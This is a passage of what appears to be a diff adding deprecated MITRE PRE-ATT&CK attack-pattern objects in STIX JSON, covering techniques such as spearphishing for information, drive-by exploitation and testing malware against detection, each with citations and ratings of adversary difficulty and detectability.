+ ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:26:25.555Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1145", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--b182f29c-2505-4b32-a000-0440ef189f59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Spearphishing for Information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397).\n\nSpearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1397", + "external_id": "T1397" + }, + { + "source_name": "ATTACKREF GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1174", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.", + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Submit KITs, KIQs, and intelligence requirements", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237).\n\nOnce they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1237", + "external_id": "T1237" + }, + { + "source_name": "ICD204", + "description": "Office of the Director of National Intelligence. (2015, January 02). Retrieved March 5, 2017." + }, + { + "source_name": "KIT-Herring", + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1014", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Targeted client-side exploitation", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1371", + "url": "https://attack.mitre.org/techniques/T1371" + }, + { + "description": "Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.", + "source_name": "RSASEThreat" + }, + { + "description": "Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.", + "source_name": "WikiStagefright" + }, + { + "description": "Fahmida Y. Rashid. (2015, February 11). Chinese Attackers Hacked Forbes Website in Watering Hole Attack: Security Firms. Retrieved March 7, 2017.", + "source_name": "ForbesSecurityWeek" + }, + { + "description": "Kurt Baumgartner. (2016, October 3). On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users. Retrieved May 9, 2017.", + "source_name": "StrongPity-waterhole" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:26:52.970Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1148", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "id": "attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Targeted social media phishing", + "description": "**This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).**\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1366", + "url": "https://attack.mitre.org/techniques/T1366" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + }, + { + "description": "Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.", + "source_name": "Nemucod Facebook" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:27:43.972Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1143", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Sending messages to individuals identified as a target follows normal tradecraft for using social media.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Task requirements", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240).\n\nOnce divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1240", + "external_id": "T1240" + }, + { + "source_name": "Heffter", + "description": "Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017." + }, + { + "source_name": "JP2-01", + "description": "Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1017", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test ability to evade automated mobile application security analysis performed by app stores", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393).\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1393", + "external_id": "T1393" + }, + { + "source_name": "Android Bouncer", + "description": "Jon Oberheide and Charlie Miller. (2012). DISSECTING THE ANDROID BOUNCER. Retrieved April 12, 2017." + }, + { + "source_name": "Adventures in BouncerLand", + "description": "Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved April 12, 2017." + }, + { + "source_name": "Jekyll on iOS", + "description": "Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013). Jekyll on iOS: When Benign Apps Become Evil. Retrieved April 12, 2017." + }, + { + "source_name": "Fruit vs Zombies", + "description": "Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1170", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test callback functionality", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356).\n\nCallbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1356", + "external_id": "T1356" + }, + { + "source_name": "LeeBeaconing", + "description": "Tony Lee. (2012, December 11). Testing Your Defenses - Beaconing. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1133", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test malware in various execution environments", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357).\n\nMalware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1357", + "external_id": "T1357" + }, + { + "source_name": "BypassMalwareDefense", + "description": "Morton Christiansen. (2010, May 7). Bypassing Malware Defenses. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1134", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test malware to evade detection", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359).\n\nAn adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1359", + "external_id": "T1359" + }, + { + "source_name": "MalwareQAZirtest", + "description": "Damballa Day Before Zero Blog. (2009, December 17). Malware QA and Exploit Testing Services \u2013 Virtest.com. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1136", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test physical access", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360).\n\nAn adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1360", + "external_id": "T1360" + }, + { + "source_name": "OCIAC Pre Incident Indicators", + "description": "Orange County Intelligence Assessment Center. (n.d.). Pre-Incident Indicators. Retrieved March 28, 2017." + }, + { + "source_name": "NewsAgencySpy", + "description": "The Canadian Press. (2012, August 22). Reporter says Chinese news agency asked him to spy. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1137", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test signature detection", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292).\n\nAn adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1292", + "external_id": "T1292" + }, + { + "source_name": "WiredVirusTotal", + "description": "Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_detectable_by_common_defenses_explanation": "If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Easy to automate upload/email of a wide range of data packages.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1069", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test signature detection for file upload/email filters", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361).\n\nAn adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1361", + "external_id": "T1361" + }, + { + "source_name": "WiredVirusTotal", + "description": "Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1138", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Unauthorized user introduces compromise delivery mechanism", + "description": "**This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.**\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1387", + "url": "https://attack.mitre.org/techniques/T1387" + }, + { + "description": "Jeremy Kirk. (2008, December 16). Swedish Police Warn of Tampered Credit Card Terminals. Retrieved April 2, 2017.", + "source_name": "Credit Card Skimmers" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "modified": "2020-03-30T14:28:39.840Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1164", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Unconditional client-side exploitation/Injected Website/Driveby", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1372", + "url": "https://attack.mitre.org/techniques/T1372" + }, + { + "description": "Torsten George. (2014, October 15). The Internet's Big Threat: Drive-by Attacks. Retrieved March 7, 2017.", + "source_name": "GeorgeDriveBy" + }, + { + "description": "Lee Bell. (2013, January 8). Drive-by exploits are the top web security threat, says ENISA. Retrieved March 7, 2017.", + "source_name": "BellDriveBy" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:29:19.081Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1149", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.", + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Untargeted client-side exploitation", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1370", + "url": "https://attack.mitre.org/techniques/T1370" + }, + { + "description": "Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China\u2019s Great Cannon. Retrieved March 9, 2017.", + "source_name": "CitizenLabGreatCannon" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:30:45.039Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1147", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "id": "attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Upload, install, and configure software/tools", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362).\n\nAn adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1362", + "external_id": "T1362" + }, + { + "source_name": "APT1", + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017." + }, + { + "source_name": "RedOctober", + 